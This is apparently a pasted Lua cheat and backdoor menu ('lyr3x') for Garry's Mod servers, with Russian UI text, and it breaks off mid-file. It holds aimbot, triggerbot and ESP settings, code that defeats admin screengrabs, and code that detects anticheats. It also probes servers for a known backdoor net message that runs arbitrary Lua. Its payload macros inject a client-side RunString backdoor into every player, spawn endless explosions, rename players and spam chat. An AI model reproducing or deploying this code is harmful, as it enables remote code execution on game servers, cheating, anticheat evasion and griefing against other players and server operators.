· 7 years ago · Dec 23, 2018, 04:32 AM
1MsgC (Color(299, 73, 73), [[
2
3██▓ ▓██ ██▓ ██▀███ ▓█████ ▒██ ██▒
4▓██▒ ▒██ ██▒▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░
5▒██░ ▒██ ██░▓██ ░▄█ ▒▒███ ░░ █ ░
6▒██░ â–‘ â–██▓░▒██▀▀█▄ â–’â–“â–ˆ â–„ â–‘ â–ˆ â–ˆ â–’
7░██████▒ ░ ██▒▓░░██▓ ▒██▒░▒████▒▒██▒ ▒██▒
8░ ▒░▓ ░ ██▒▒▒ ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░
9░ ░ ▒ ░▓██ ░▒░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░
10 â–‘ â–‘ â–’ â–’ â–‘â–‘ â–‘â–‘ â–‘ â–‘ â–‘ â–‘
11 â–‘ â–‘â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘
12 â–‘ â–‘
13 ███▄ ▄███▓ ▄▄▄ ▓█████▄ ▓█████ ▄▄▄▄ ▓██ ██▓ ▄████ ▓█████ ██▓ ██████ ██░ ██ ▄▄▄█████▓▓█████▓██ ██▓ ███▄ █
14▓██▒▀█▀ ██▒▒████▄ ▒██▀ ██▌▓█ ▀ ▓█████▄▒██ ██▒ ██▒ ▀█▒▓█ ▀ ▓██▒ ▒██ ▒ ▓██░ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██ ██▒ ██ ▀█ █
15▓██ ▓██░▒██ ▀█▄ ░██ █▌▒███ ▒██▒ ▄██▒██ ██░ ▒██░▄▄▄░▒███ ▒██░ ░ ▓██▄ ▒██▀▀██░▒ ▓██░ ▒░▒███ ▒██ ██░▓██ ▀█ ██▒
16▒██ ▒██ ░██▄▄▄▄██ ░▓█▄ ▌▒▓█ â–„ ▒██░█▀ â–‘ â–██▓░ â–‘â–“â–ˆ ██▓▒▓█ â–„ ▒██░ â–’ ██▒░▓█ ░██ â–‘ ▓██▓ â–‘ â–’â–“â–ˆ â–„ â–‘ â–██▓░▓██▒ â–▌██▒
17▒██▒ ░██▒ ▓█ ▓██▒░▒████▓ ░▒████▒ ░▓█ ▀█▓░ ██▒▓░ ░▒▓███▀▒░▒████▒░██████▒▒██████▒▒░▓█▒░██▓ ▒██▒ ░ ░▒████▒ ░ ██▒▓░▒██░ ▓██░
18░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒▒▓ ▒ ░░ ▒░ ░ ░▒▓███▀▒ ██▒▒▒ ░▒ ▒ ░░ ▒░ ░░ ▒░▓ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ ▒ ░░ ░░ ▒░ ░ ██▒▒▒ ░ ▒░ ▒ ▒
19░ ░ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░ ░ ░ ▒░▒ ░▓██ ░▒░ ░ ░ ░ ░ ░░ ░ ▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░ ░▓██ ░▒░ ░ ░░ ░ ▒░
20â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘â–’ â–’ â–‘â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–‘ â–‘ â–‘ â–’ â–’ â–‘â–‘ â–‘ â–‘ â–‘
21 â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘â–‘ â–‘ â–‘
22 â–‘ â–‘â–‘ â–‘ â–‘ â–‘
23Ð”Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ð¸ пропиши "lyr3x"
24]])
25print("\n")
26
27
28chat.AddText(Color(0, 0, 0), "[", "lyr3x", "] ", Color( 255, 255, 255 ), "Меню уÑпешно загружено напиши в конÑоль *lyr3x*" )
29
30local me = LocalPlayer()
31
32
33/*================================
34|===== lyr3xBDMenu =====|
35=================================*/
36
37local ss = false
38
39local renderv = render.RenderView
40local renderc = render.Clear
41local rendercap = render.Capture
42local vguiworldpanel = vgui.GetWorldPanel
43
44local function screengrab()
45if ss then return end
46ss = true
47
48renderc( 0, 0, 0, 255, true, true )
49renderv( {
50origin = LocalPlayer():EyePos(),
51angles = LocalPlayer():EyeAngles(),
52x = 0,
53y = 0,
54w = ScrW(),
55h = ScrH(),
56dopostprocess = true,
57drawhud = true,
58drawmonitors = true,
59drawviewmodel = true
60} )
61
62local vguishits = vguiworldpanel()
63
64if IsValid( vguishits ) then
65vguishits:SetPaintedManually( true )
66end
67
68timer.Simple( 0.1, function()
69vguiworldpanel():SetPaintedManually( false )
70ss = false
71end)
72end
73
74render.Capture = function(data)
75screengrab()
76local cap = rendercap( data )
77return cap
78end
79
80local blur = Material("pp/blurscreen")
81local function DrawBlur(panel, amount)
82local x, y = panel:LocalToScreen(0, 0)
83local scrW, scrH = ScrW(), ScrH()
84surface.SetDrawColor(255, 255, 255)
85surface.SetMaterial(blur)
86for i = 1, 3 do
87blur:SetFloat("$blur", (i / 3) * (amount or 6))
88blur:Recompute()
89render.UpdateScreenEffectTexture()
90surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
91end
92end
93
94if (_G.QAC or _G.CAC) then
95chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "Cake AntiCheat Обнаружен" )
96else
97net.SendToServer()
98end
99
100
101if (_G.ulx or _G.ulib) then
102net.SendToServer()
103else
104chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "Ulx не обнаружен" )
105end
106
107if file.Exists("snte_source.lua","LUA") == true or file.Exists ( "autorun/server/snte_source.lua", "LUA" ) == true then
108chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "SNTE обнаружен!!!" )
109snte=true
110else
111snte=false
112end
113
114if file.Exists( "autorun/server/anti-bhop.lua", "GAME" ) == true then
115chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "C0nw0nks AC обнаружен" )
116else
117net.SendToServer()
118end
119
120if file.Exists( "cl_HAC.lua", "LUA" ) == true or file.Exists( "autorun/server/sv_HAC.lua", "LUA" ) == true then
121chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "Hex's Anticheat обнаружен" )
122else
123net.SendToServer()
124end
125
126
127
128
129/*===================================== fiji_
130|===== lyr3x Fonts =====|
131======================================*/
132
133
134surface.CreateFont("pityersave", {font = "Arial", size = 80,weight = 1000, antialias = 0})
135surface.CreateFont("pity_home1",{font = "Arial", size = 60, weight = 2000, antialias = 0})
136surface.CreateFont("pity_home2",{font = "Arial", size = 13, weight = 1000, antialias = 0})
137surface.CreateFont("pity_home3",{font = "Arial", size = 15, weight = 2, antialias = 0})
138surface.CreateFont("pity_home4",{font = "Arial", size = 20, weight = 2000, antialias = 0})
139surface.CreateFont("pity_home5",{font = "Arial", size = 13, weight = 100, antialias = 0})
140surface.CreateFont("PRINTERDETECT", {font = "", size = 20,weight = 1000, antialias = 0})
141surface.CreateFont("pity_homeBTN",{font = "Roboto", size = 13, weight = 100, shadow = true, italic = true, antialias = 0})
142surface.CreateFont("pity_homemini",{font = "Arial", size = 12, weight = 0, antialias = 0})
143
144--fun
145local fiji_fun_bunnyhop = CreateClientConVar( "fiji_fun_bunnyhop", "0", true )
146local fiji_fun_spamlight = CreateClientConVar( "fiji_fun_spamlight", "0", true )
147local fiji_fun_spamrope = CreateClientConVar( "fiji_fun_spamrope", "0", true )
148local fiji_fun_thperson = CreateClientConVar( "fiji_fun_thperson", "0", true )
149local fiji_fun_radar = CreateClientConVar( "fiji_fun_radar", "0", true )
150local fiji_fun_radartech = CreateClientConVar( "fiji_fun_radartech", "0", true )
151local fiji_fun_miroir = CreateClientConVar( "fiji_fun_miroir", "0", true )
152local fiji_fun_screengrab = CreateClientConVar( "fiji_fun_screengrab", "1", true )
153
154--crosshair
155local fiji_fun_crosshair = CreateClientConVar( "fiji_fun_crosshair", "0", true )
156local fiji_fun_crosshaircolor1 = CreateClientConVar( "fiji_fun_crosshaircolor1", "255", true )
157local fiji_fun_crosshaircolor2 = CreateClientConVar( "fiji_fun_crosshaircolor2", "0", true )
158local fiji_fun_crosshaircolor3 = CreateClientConVar( "fiji_fun_crosshaircolor3", "0", true )
159local fiji_fun_crosshaircolortype = CreateClientConVar( "fiji_fun_crosshaircolortype", "0", true )
160local fiji_fun_crosshairstyle = CreateClientConVar( "fiji_fun_crosshairstyle", "1", true )
161local fiji_fun_crosshairtaille = CreateClientConVar( "fiji_fun_crosshairtaille", "1", true )
162
163local fiji_aimbot_active = CreateClientConVar( "fiji_aimbot_active", "0", true )
164local fiji_aimbot_wall = CreateClientConVar( "fiji_aimbot_wall", "0", true )
165local fiji_aimbot_friends = CreateClientConVar( "fiji_aimbot_friends", "0", true )
166local fiji_aimbot_team = CreateClientConVar( "fiji_aimbot_team", "0", true )
167local fiji_aimbot_admin = CreateClientConVar( "fiji_aimbot_admin", "0", true )
168local fiji_aimbot_key = CreateClientConVar( "fiji_aimbot_key", KEY_W, true )
169local fiji_aimbot_fov = CreateClientConVar( "fiji_aimbot_fov", "180", true )
170local fiji_aimbot_dist = CreateClientConVar( "fiji_aimbot_dist", "1500", true )
171local fiji_aimbot_propa = CreateClientConVar( "fiji_aimbot_propa", 0 )
172local fiji_aimbot_relock = CreateClientConVar( "fiji_aimbot_relock", "0", true ) -- auto reviser
173local fiji_aimbot_attack = CreateClientConVar( "fiji_aimbot_attack", "chest", true ) -- choisir zone
174
175
176local fiji_triggerbot_active = CreateClientConVar( "fiji_triggerbot_active", 0 )
177local fiji_triggerbot_opti = CreateClientConVar( "fiji_triggerbot_opti", 0 )
178local fiji_triggerbot_real = CreateClientConVar( "fiji_triggerbot_real", 0 )
179local fiji_triggerbot_team = CreateClientConVar( "fiji_triggerbot_team", 0 )
180local fiji_triggerbot_wall = CreateClientConVar( "fiji_triggerbot_wall", 0 )
181local fiji_triggerbot_friends = CreateClientConVar( "fiji_triggerbot_friends", 0 )
182
183local fiji_menu_princ_color = CreateClientConVar( "fiji_menu_princ_color", "50", true, false )
184local fiji_menu_sec_color = CreateClientConVar( "fiji_menu_sec_color", "50", true, false )
185local fiji_menu_th_color = CreateClientConVar( "fiji_menu_th_color", "50", true, false )
186local fiji_style_menu = CreateClientConVar( "fiji_style_menu", "3", true, false )
187
188local fiji_principal_color = CreateClientConVar( "fiji_principal_color", "255", true, false )
189local fiji_secondary_color = CreateClientConVar( "fiji_secondary_color", "0", true, false )
190local fiji_third_color = CreateClientConVar( "fiji_third_color", "0", true, false )
191local fiji_principal_color_infos = CreateClientConVar( "fiji_principal_color_infos", "255", true, false )
192local fiji_secondary_color_infos = CreateClientConVar( "fiji_secondary_color_infos", "255", true, false )
193local fiji_third_color_infos = CreateClientConVar( "fiji_third_color_infos", "255", true, false )
194local fiji_principal_color_ent = CreateClientConVar( "fiji_principal_color_ent", "255", true, false )
195local fiji_secondary_color_ent = CreateClientConVar( "fiji_secondary_color_ent", "0", true, false )
196local fiji_third_color_ent = CreateClientConVar( "fiji_third_color_ent", "0", true, false )
197local fiji_principal_color_props = CreateClientConVar( "fiji_principal_color_props", "255", true, false )
198local fiji_secondary_color_props = CreateClientConVar( "fiji_secondary_color_props", "0", true, false )
199local fiji_third_color_props = CreateClientConVar( "fiji_third_color_props", "0", true, false )
200local fiji_style_player = CreateClientConVar( "fiji_style_player", "0", true, false )
201local fiji_principal_color_player = CreateClientConVar( "fiji_principal_color_player", "255", true, false )
202local fiji_secondary_color_player = CreateClientConVar( "fiji_secondary_color_player", "0", true, false )
203local fiji_third_color_player = CreateClientConVar( "fiji_third_color_player", "0", true, false )
204
205local fiji_vision_enable = CreateClientConVar( "BD_hitman_enable", 1 )
206local fiji_vision_enable_ent = CreateClientConVar( "BD_hitman_enable_ent", 0 )
207local fiji_vision_enable_props = CreateClientConVar( "BD_hitman_enable_props", 0 )
208local fiji_vision_type = CreateClientConVar( "BD_hitman_type", 1 )
209local fiji_vision_infos_name = CreateClientConVar( "BD_hitman_infos_name", 1 )
210local fiji_vision_infos_weapons = CreateClientConVar( "BD_hitman_infos_weapons", 1 )
211local fiji_vision_infos_health = CreateClientConVar( "BD_hitman_infos_health", 1 )
212local fiji_vision_distance = CreateClientConVar( "BD_hitman_distance", 7000 )
213local fiji_vision_distance_infos = CreateClientConVar( "BD_hitman_distance_infos", 800 )
214local fiji_vision_distance_ent = CreateClientConVar( "BD_hitman_distance_ent", 800 )
215local fiji_vision_distance_props = CreateClientConVar( "BD_hitman_distance_props", 800 )
216local fiji_vision_enable_enthalo = CreateClientConVar( "fiji_vision_enable_enthalo", 1 )
217local fiji_vision_enable_enttext = CreateClientConVar( "fiji_vision_enable_enttext", 1 )
218
219
220local physgun_wheelspeed = CreateClientConVar( "physgun_wheelspeed", "100", true, false )
221
222local fiji_pitylogo = Material( "addons/base_ui_gmod/mat/lyr3xlogo.png" )
223local fiji_pityhome = Material( "addons/base_ui_gmod/mat/home.png" )
224local fiji_pityesp = Material( "addons/base_ui_gmod/mat/esp.png" )
225local fiji_pityaimbot = Material( "addons/base_ui_gmod/mat/aimbot.png" )
226local fiji_pitymisc = Material( "addons/base_ui_gmod/mat/misc.png" )
227local fiji_pityexploits = Material( "addons/base_ui_gmod/mat/exploits.png" )
228local fiji_pitybackdoors = Material( "addons/base_ui_gmod/mat/backdoors.png" )
229local fiji_pityconfig = Material( "addons/base_ui_gmod/mat/config.png" )
230local fiji_pitydiscordwidget = Material( "addons/base_ui_gmod/mat/lyr3xwidget.png" )
231
232
233local fiji_exist_contentpity = CreateClientConVar( "fiji_exist_contentpity", 0 )
234
235local fiji_pityhover = "mat/pityhover2.wav"
236local fiji_pityclick = "mat/pityclick2.wav"
237
238local fiji_sv_existmen = CreateClientConVar( "fiji_sv_existmen", 0 )
239
240
241--[[if file.Exists( "addons/pity/field_constant.lua", "GAME" ) == true or file.Exists( "field_constant.lua", "LUA" ) == true then
242LocalPlayer():ConCommand("fiji_exist_contentpity 1")
243else
244LocalPlayer():ConCommand("fiji_exist_contentpity 0")
245chat.AddText(Color( 0, 0, 0), "[lyr3x] ", Color( 255, 114, 114 ), "ОШИБКР- Ð’Ñ‹ не уÑтановили Ñодержимое меню." )
246end ]]--
247
248if file.Exists( "addons/base_ui_gmod/mat/lyr3xlogo.png", "GAME" ) == true then
249LocalPlayer():ConCommand("fiji_exist_contentpity 1")
250else
251LocalPlayer():ConCommand("fiji_exist_contentpity 0")
252chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Ошибка - вы не уÑтановили реÑурÑÑ‹ меню." )
253end
254
255hook.Add("Think", "RGBSTF", function()
256local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
257
258if fiji_style_player:GetInt() == 1 then
259LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
260LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
261else
262LocalPlayer():SetWeaponColor( Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
263LocalPlayer():SetPlayerColor(Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
264end
265end)
266
267
268/*=====================================
269|===== lyr3x Backdoors =====|
270======================================*/
271
272
273local hide = {
274CHudCrosshair = true,
275}
276
277local triangle = {
278{ x = 50, y = 100 },
279{ x = 75, y = 50 },
280{ x = 100, y = 200 }
281
282}
283
284hook.Add( "HUDShouldDraw", "HideHUD", function( name )
285if( fiji_fun_crosshair:GetInt() == 1 ) then
286if ( hide[ name ] ) then return false end
287end
288end )
289local function FillRGBA(x,y,w,h,col)
290surface.SetDrawColor( col.r, col.g, col.b, col.a );
291surface.DrawRect( x, y, w, h );
292end
293local function DrawCrosshair()
294
295local w = ScrW() / 2.003;
296local h = ScrH() / 2;
297local stretch = fiji_fun_crosshairtaille:GetInt()
298
299if not LocalPlayer():InVehicle() then
300if fiji_fun_crosshairstyle:GetInt() == 1 then
301if fiji_fun_crosshaircolortype:GetInt() == 1 then
302FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
303FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
304elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
305FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
306FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
307else
308FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
309FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
310end
311elseif fiji_fun_crosshairstyle:GetInt() == 2 then
312if fiji_fun_crosshaircolortype:GetInt() == 1 then
313surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
314surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
315elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
316surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
317surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
318else
319surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
320surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
321end
322
323end
324end
325end
326
327
328
329function DrawXHair()
330if( fiji_fun_crosshair:GetInt() == 1 ) then
331DrawCrosshair();
332end
333end
334hook.Add( "HUDPaint", "DrawXHair", DrawXHair );
335
336local BD = {}
337local h = http
338
339
340BD.Backdoors = BD.Backdoors or {}
341
342BD.BackdoorTypes = {
343
344["Fpp"] = {
345
346["Code"] = "util.AddNetworkString( 'data_check' ) net.Receive( 'data_check', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
347
348["Netkey"] = "data_check",
349
350},
351
352}
353
354
355
356
357local netsss = net.Start
358
359function BD.IsMessagePooled( netmessage )
360
361local netfunc = netsss
362
363local status, error = pcall( netfunc, netmessage )
364
365return status
366
367end
368
369function ValidNetString( str )
370local status, error = pcall( net.Start, str )
371return status
372end
373
374local net = net
375
376
377local ctxt = chat.AddText
378
379function BD.ChatText( message, col )
380
381ctxt( Color(255, 114, 114), "[Pity] ", col, message )
382
383end
384
385function CHATPRINT( str )
386end
387
388
389
390
391
392
393function BD.PingBackDoors()
394
395local bds = {}
396
397for k, v in pairs(BD.BackdoorTypes) do
398
399if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
400
401end
402
403return bds
404
405end
406
407concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
408
409
410
411function BD.BackdoorActive()
412
413return table.Count( BD.Backdoors ) > 0
414
415end
416
417
418
419if fiji_fun_crosshair:GetInt() == 1 then
420DrawCrosshair();
421else end
422
423
424
425local function CommandesDraw()
426if fiji_fun_radar:GetInt() == 2 then
427local pitch = -2
428if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
429local yaw = 180
430if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
431local roll = 0
432if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
433local Cam = {}
434Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch, LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
435Cam.origin = LocalPlayer():GetShootPos()
436Cam.x = 0
437Cam.y = 0
438Cam.w = 200
439Cam.h = 200
440render.RenderView( Cam )
441surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
442surface.DrawOutlinedRect( 0, 0, 200,200 )end
443
444if fiji_fun_radar:GetInt() == 1 then
445local Cam = {}
446Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
447local Zvar = 2000
448local trace = {}
449trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
450trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, 2000 )
451trace.filter = LocalPlayer()
452if util.TraceLine( trace ).Hit then
453Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
454
455end
456surface.SetDrawColor( 30, 30, 30, 255 )
457surface.DrawRect( 0,0,200,200 )
458Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
459Cam.x = 0
460Cam.y = 0
461Cam.w = 200
462Cam.h = 200
463
464
465surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
466surface.DrawOutlinedRect( 0, 0, 200,200 )
467
468 local size = 200
469 local fov = 28
470 local x = 0
471 local y = 0
472for key, ply in pairs(player.GetAll()) do
473
474 local teamcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
475
476 local lx = me:GetPos().x - ply:GetPos().x
477 local ly = me:GetPos().y - ply:GetPos().y
478 local ang = EyeAngles().y
479 local cos = math.cos(math.rad(-ang))
480 local sin = math.sin(math.rad(-ang))
481 local px = (ly * cos) + (lx * sin)
482 local py = (lx * cos) - (ly * sin)
483 px = px / fov
484 py = py / fov
485 px = math.Clamp(px, -(size * 0.50), size * 0.50)
486 py = math.Clamp(py, -(size * 0.50), size * 0.50)
487 if ply:GetPos():Distance( LocalPlayer():GetPos() ) > 2500 then continue end
488 if ply != me then
489 local name = player.GetAll()[key]:Nick()
490 local job = player.GetAll()[key]:Team()
491 draw.SimpleText(name, "pity_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.56) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
492 draw.SimpleText(job, "pity_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
493 end
494 if ply != me then
495 surface.SetDrawColor(teamcol)
496 surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
497 else
498 surface.SetDrawColor(255,255,255)
499 surface.DrawRect(x + size - (size * 0.51) + px, y + size - (size * 0.50) + py, 5, 5)
500
501 end
502 surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
503 surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
504
505--surface.SetDrawColor( 255, 255, 255, 255 )
506--surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
507end
508end
509end
510hook.Add( "HUDPaint", "LESP", CommandesDraw )
511
512hook.Add("Think", "fijispamlight", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
513if fiji_fun_spamlight:GetInt() == 1 then
514if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
515end
516
517end)
518hook.Add("Think", "fijifolie", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
519if fiji_fun_spamrope:GetInt() == 1 then
520if input.IsKeyDown(KEY_H) then
521
522local fijiangle = Angle(math.random(-90, 90), math.random(-180, 180), 0)
523
524me:SetEyeAngles( fijiangle )
525
526end end
527end)
528
529local fijibhop = false
530hook.Add("Think", "fijibhop", function()
531if fiji_fun_bunnyhop:GetInt() == 1 then
532if (input.IsKeyDown( KEY_SPACE ) ) then
533if LocalPlayer():IsOnGround() then
534RunConsoleCommand("+jump")
535HasJumped = 1
536else
537RunConsoleCommand("-jump")
538HasJumped = 0
539end
540elseif fiji_fun_bunnyhop:GetInt() == 0 and LocalPlayer():IsOnGround() then
541if HasJumped == 1 then
542RunConsoleCommand("-jump")
543HasJumped = 0
544end
545end
546end
547end)
548
549
550if fiji_fun_thperson:GetInt() == 1 then
551
552hook.Add( "CalcView", "ThirdPerson", function(ply, pos, angles, fov)
553 local ThirdPerson = {}
554 if fiji_fun_thperson:GetInt() == 1 then
555 ThirdPerson.origin = pos-( angles:Forward()*100 )
556 ThirdPerson.angles = angles
557 ThirdPerson.fov = fov
558 ThirdPerson.drawviewer = true
559 return ThirdPerson
560 elseif fiji_fun_thperson:GetInt() == 1 then
561 ThirdPerson.origin = pos-( angles:Forward() )
562 ThirdPerson.angles = angles
563 ThirdPerson.fov = fov
564 end
565end)
566
567end
568
569function BD.IsDead( ply )
570if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
571return false
572end
573
574function BD.GetActive()
575
576if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
577
578return BD.BackdoorTypes[BD.CurrentBackdoor]
579
580end
581
582
583
584BD.BDMacros ={
585
586
587
588
589/*===========================================
590|===== Команды на вÑех игроков =====|
591============================================*/
592
593
594
595
596
597["Armageddon"] = {
598
599["Type"] = 1,
600
601["Code"] = [[if !bombstrike then
602
603hook.Add("Think", "lulz_bombstrike", function()
604
605local explode = ents.Create( "env_explosion" )
606
607local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
608
609local trc = {}
610
611trc.start = ps
612
613trc.endpos = ps + Vector( 0, 0, -99999)
614
615local tr = util.TraceLine(trc)
616
617if !tr.Hit then return end
618
619explode:SetPos( tr.HitPos )
620
621explode:Spawn()
622
623explode:SetKeyValue( "iMagnitude", "400" )
624
625explode:Fire( "Explode", 0, 0 )
626
627end)
628
629bombstrike = true
630
631else
632
633hook.Remove("Think", "lulz_bombstrike")
634
635bombstrike = false
636
637end]],
638
639},
640
641
642
643
644
645["Injecter Backdoor"] = {
646
647["Type"] = 1,
648
649["Code"] = [[
650
651util.AddNetworkString( "fijiconn" )
652
653function BDSendLua( p, str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Send( p ) end
654
655function BDSendLuaAll( str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Broadcast() end
656
657function BDInjectAids( p ) p:SendLua( 'net.Receive( "fijiconn", function() RunString( net.ReadString() ) end )' ) end
658
659for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
660
661hook.Add( "PlayerInitialSpawn", "pityisyourfriend", function( p ) BDInjectAids( p ) end)
662
663]],
664
665
666},
667
668
669
670["ОбъÑвление игрокам "] = {
671
672["Type"] = 1,
673
674["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
675
676["NeedsParameters"] = 1,
677
678},
679
680
681
682["Изменить имена пользователей"] = {
683
684["Type"] = 1,
685
686["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
687
688["NeedsParameters"] = 1,
689
690},
691
692
693["Спам в чат"] = {
694
695["Type"] = 1,
696
697["Code"] = [[
698
699if !timer.Exists( "wutckoasa" ) then
700
701timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
702
703else
704
705timer.Remove( "wutckoasa" )
706
707end]],
708
709["NeedsParameters"] = 1,
710
711},
712
713
714
715["Открыть двери"] = {
716
717["Type"] = 1,
718
719["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
720
721
722},
723
724
725
726
727
728["Разбить Ñтёкла"] = {
729
730["Type"] = 1,
731
732["Code"] = [[
733
734if !timer.Exists( "A true masterpiece" ) then
735
736timer.Create( "A true masterpiece", 0.2, 0, function()
737
738for _, p in pairs(player.GetAll()) do
739
740p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
741
742end
743
744end)
745
746else
747
748timer.Remove( "A true masterpiece" )
749
750end]],
751
752},
753
754
755
756["Ееееааа !"] = {
757
758["Type"] = 1,
759
760["Code"] = [[
761
762if !timer.Exists( "porn" ) then
763
